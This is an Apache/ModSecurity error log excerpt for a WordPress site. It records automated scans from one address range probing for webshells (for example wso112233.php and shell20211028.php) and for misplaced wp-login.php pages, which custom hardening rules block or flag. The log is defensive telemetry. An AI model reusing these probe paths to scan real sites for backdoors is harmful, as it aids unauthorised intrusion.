[Wed Feb 25 06:06:00.398909 2026] [:error] [pid 5556:tid 5591] [client 98.159.43.141:41619] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aZ4gyKOrYeaTyh7lGRUmVgAAAcQ"]
[Wed Feb 25 06:06:06.041628 2026] [:error] [pid 5620:tid 5680] [client 98.159.43.132:60267] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aZ4gzoY2LQjtieeRkobB4QAAAxE"]
[Wed Feb 25 06:06:15.342313 2026] [proxy_fcgi:error] [pid 5620:tid 5678] [client 98.159.43.135:52641] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:06:17.298225 2026] [:error] [pid 5620:tid 5681] [client 98.159.43.135:52641] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aZ4g2YY2LQjtieeRkobCIAAAAxI"]
[Wed Feb 25 06:06:24.735864 2026] [:error] [pid 5556:tid 5601] [client 98.159.43.133:43831] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aZ4g4KOrYeaTyh7lGRUmfwAAAc4"]
[Wed Feb 25 06:06:39.299780 2026] [proxy_fcgi:error] [pid 5620:tid 5698] [client 98.159.43.161:31923] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:06:39.416660 2026] [:error] [pid 5620:tid 5667] [client 98.159.43.161:31923] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aZ4g74Y2LQjtieeRkobCZwAAAwU"]
[Wed Feb 25 06:06:39.633057 2026] [proxy_fcgi:error] [pid 5620:tid 5663] [client 98.159.43.152:61503] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:06:43.484655 2026] [proxy_fcgi:error] [pid 5620:tid 5670] [client 98.159.43.152:61503] AH01071: Got error 'PHP message: PHP Warning:  Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Fatal error:  require(): Failed opening required 'ABSPATHwp-includes/version.php' (include_path='.:') in /home/vetstars/public_html/wp-settings.php on line 34'
[Wed Feb 25 06:06:43.765780 2026] [:error] [pid 5620:tid 5680] [client 98.159.43.151:43375] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aZ4g84Y2LQjtieeRkobCewAAAxE"]
[Wed Feb 25 06:06:55.232366 2026] [:error] [pid 60498:tid 60509] [client 98.159.43.114:63735] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aZ4g_yFCVhQ3ffus0uJyYgAAAsQ"]
[Wed Feb 25 06:07:01.150169 2026] [:error] [pid 5619:tid 5648] [client 98.159.43.122:32621] [client 98.159.43.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aZ4hBZFUzdv-0L_F4fvC4gAAAg0"]
[Wed Feb 25 06:07:02.876716 2026] [:error] [pid 5619:tid 5647] [client 98.159.43.122:32621] [client 98.159.43.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aZ4hBpFUzdv-0L_F4fvC4wAAAgw"]
[Wed Feb 25 06:07:03.085661 2026] [:error] [pid 5619:tid 5641] [client 98.159.43.122:32621] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aZ4hB5FUzdv-0L_F4fvC5AAAAgY"]
[Wed Feb 25 06:07:16.008155 2026] [:error] [pid 5556:tid 5600] [client 98.159.43.105:50501] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "aZ4hFKOrYeaTyh7lGRUnEgAAAc0"]
[Wed Feb 25 06:07:19.859640 2026] [:error] [pid 60290:tid 60292] [client 98.159.43.119:53011] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZ4hFzPwSUztcPyiofp4IQAAAQA"]
[Wed Feb 25 06:07:25.517406 2026] [proxy_fcgi:error] [pid 60500:tid 60601] [client 98.159.43.113:30539] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:07:29.131659 2026] [proxy_fcgi:error] [pid 60500:tid 60588] [client 98.159.43.113:30539] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:07:31.197815 2026] [:error] [pid 60500:tid 60589] [client 98.159.43.113:30539] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aZ4hI_Y9avxuno9KAT_-vwAAA0c"]
[Wed Feb 25 06:07:31.429507 2026] [:error] [pid 60290:tid 60293] [client 98.159.43.112:51029] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aZ4hIzPwSUztcPyiofp4PgAAAQE"]
[Wed Feb 25 06:07:35.639021 2026] [:error] [pid 20763:tid 20766] [client 98.159.43.141:29165] [client 98.159.43.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aZ4hJ00w_zc13OX-xibq-wAAAME"]
[Wed Feb 25 06:07:41.152711 2026] [:error] [pid 20763:tid 20779] [client 98.159.43.141:29165] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aZ4hLU0w_zc13OX-xibq_wAAAM4"]
[Wed Feb 25 06:07:43.186673 2026] [:error] [pid 5620:tid 5665] [client 98.159.43.136:27661] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aZ4hL4Y2LQjtieeRkobDZAAAAwM"]
[Wed Feb 25 06:07:43.399704 2026] [:error] [pid 5620:tid 5676] [client 98.159.43.155:41391] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aZ4hL4Y2LQjtieeRkobDZQAAAw4"]
[Wed Feb 25 06:07:45.493928 2026] [:error] [pid 60290:tid 60306] [client 98.159.43.154:23067] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZ4hMTPwSUztcPyiofp4XgAAAQ4"]
[Wed Feb 25 06:07:55.576122 2026] [proxy_fcgi:error] [pid 5620:tid 5680] [client 98.159.43.160:50039] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:07:57.495068 2026] [:error] [pid 5620:tid 5670] [client 98.159.43.160:50039] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aZ4hPYY2LQjtieeRkobDkgAAAwg"]
[Wed Feb 25 06:07:59.580055 2026] [proxy_fcgi:error] [pid 5620:tid 5677] [client 98.159.43.145:31569] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:08:20.814091 2026] [:error] [pid 5620:tid 5672] [client 98.159.43.145:31569] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aZ4hVIY2LQjtieeRkobDvgAAAwo"]
[Wed Feb 25 06:08:35.542872 2026] [:error] [pid 60500:tid 60604] [client 98.159.43.111:32943] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aZ4hY_Y9avxuno9KAT_-2AAAA1E"]
[Wed Feb 25 06:08:41.239045 2026] [:error] [pid 5556:tid 5587] [client 98.159.43.117:49039] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aZ4haaOrYeaTyh7lGRUnlwAAAcA"]
[Wed Feb 25 06:08:44.408145 2026] [:error] [pid 5556:tid 5601] [client 98.159.43.138:54583] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aZ4hbKOrYeaTyh7lGRUnngAAAc4"]
[Wed Feb 25 06:08:56.646491 2026] [:error] [pid 20659:tid 20713] [client 98.159.43.129:20515] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aZ4heD_THK_HtK-Q44L16QAAAFI"]
[Wed Feb 25 06:08:56.876021 2026] [:error] [pid 5556:tid 5602] [client 98.159.43.156:49317] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aZ4heKOrYeaTyh7lGRUnsQAAAc8"]
[Wed Feb 25 06:08:57.394775 2026] [:error] [pid 60498:tid 60511] [client 98.159.43.117:40581] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aZ4heSFCVhQ3ffus0uJzBQAAAsY"]
[Wed Feb 25 06:09:47.829823 2026] [proxy_fcgi:error] [pid 5620:tid 5682] [client 98.159.43.108:41007] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:09:49.698046 2026] [:error] [pid 5620:tid 5669] [client 98.159.43.108:41007] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aZ4hrYY2LQjtieeRkobE9wAAAwc"]
[Wed Feb 25 06:10:07.780827 2026] [:error] [pid 5619:tid 5638] [client 98.159.43.147:43393] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aZ4hv5FUzdv-0L_F4fvEugAAAgM"]
[Wed Feb 25 06:10:28.213656 2026] [:error] [pid 5619:tid 5643] [client 98.159.43.132:50343] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aZ4h1JFUzdv-0L_F4fvFAgAAAgg"]
[Wed Feb 25 06:10:28.458616 2026] [:error] [pid 60290:tid 60314] [client 98.159.43.142:37265] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aZ4h1DPwSUztcPyiofp5MwAAARY"]
[Wed Feb 25 06:10:32.404982 2026] [:error] [pid 60498:tid 60505] [client 98.159.43.110:36515] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aZ4h2CFCVhQ3ffus0uJzNQAAAsA"]
[Wed Feb 25 06:10:34.420499 2026] [:error] [pid 5620:tid 5675] [client 98.159.43.147:63109] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aZ4h2oY2LQjtieeRkobFgwAAAw0"]
[Wed Feb 25 06:10:54.517720 2026] [:error] [pid 5620:tid 5688] [client 98.159.43.157:25999] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aZ4h7oY2LQjtieeRkobFrgAAAxU"]
[Wed Feb 25 06:10:54.768772 2026] [:error] [pid 60387:tid 60496] [client 98.159.43.155:59219] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aZ4h7oHL0QH7Sr13X0KnywAAApg"]
[Wed Feb 25 06:10:56.751247 2026] [:error] [pid 5620:tid 5666] [client 98.159.43.146:45165] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aZ4h8IY2LQjtieeRkobFuAAAAwQ"]
[Wed Feb 25 06:11:00.584121 2026] [:error] [pid 60290:tid 60297] [client 98.159.43.142:64921] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aZ4h9DPwSUztcPyiofp5YwAAAQU"]
[Wed Feb 25 06:11:01.022233 2026] [:error] [pid 60387:tid 60494] [client 98.159.43.140:32017] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aZ4h9YHL0QH7Sr13X0KnzQAAApY"]
[Wed Feb 25 06:11:04.985909 2026] [:error] [pid 5556:tid 5594] [client 98.159.43.160:21067] [client 98.159.43.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.160, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/images/wp-login.php"] [unique_id "aZ4h-KOrYeaTyh7lGRUogQAAAcc"]
[Wed Feb 25 06:11:12.438574 2026] [:error] [pid 5556:tid 5597] [client 98.159.43.160:21067] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aZ4iAKOrYeaTyh7lGRUojwAAAco"]
[Wed Feb 25 06:11:19.347079 2026] [:error] [pid 5556:tid 5588] [client 98.159.43.149:59509] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aZ4iB6OrYeaTyh7lGRUomAAAAcE"]
[Wed Feb 25 06:11:19.635943 2026] [:error] [pid 5556:tid 5598] [client 98.159.43.118:41895] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aZ4iB6OrYeaTyh7lGRUomgAAAcs"]
[Wed Feb 25 06:11:20.246454 2026] [proxy_fcgi:error] [pid 5556:tid 5601] [client 98.159.43.130:56537] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:11:20.367093 2026] [:error] [pid 5556:tid 5603] [client 98.159.43.130:56537] [client 98.159.43.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.130, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aZ4iCKOrYeaTyh7lGRUooAAAAdA"]
[Wed Feb 25 06:11:22.320239 2026] [:error] [pid 5556:tid 5591] [client 98.159.43.130:56537] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aZ4iCqOrYeaTyh7lGRUopgAAAcQ"]
[Wed Feb 25 06:11:28.361007 2026] [:error] [pid 5620:tid 5698] [client 98.159.43.113:34759] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aZ4iEIY2LQjtieeRkobGbAAAAxc"]
[Wed Feb 25 06:12:46.033561 2026] [:error] [pid 60290:tid 60307] [client 98.159.43.156:56607] [client 98.159.43.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aZ4iXjPwSUztcPyiofp6EAAAAQ8"]
[Wed Feb 25 06:12:51.909241 2026] [:error] [pid 60290:tid 60300] [client 98.159.43.156:56607] [client 98.159.43.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aZ4iYzPwSUztcPyiofp6FQAAAQg"]
[Wed Feb 25 06:12:55.735613 2026] [:error] [pid 60290:tid 60303] [client 98.159.43.156:56607] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aZ4iZzPwSUztcPyiofp6GQAAAQs"]
[Wed Feb 25 06:12:57.727972 2026] [:error] [pid 5620:tid 5677] [client 98.159.43.152:56051] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aZ4iaYY2LQjtieeRkobHvwAAAw8"]
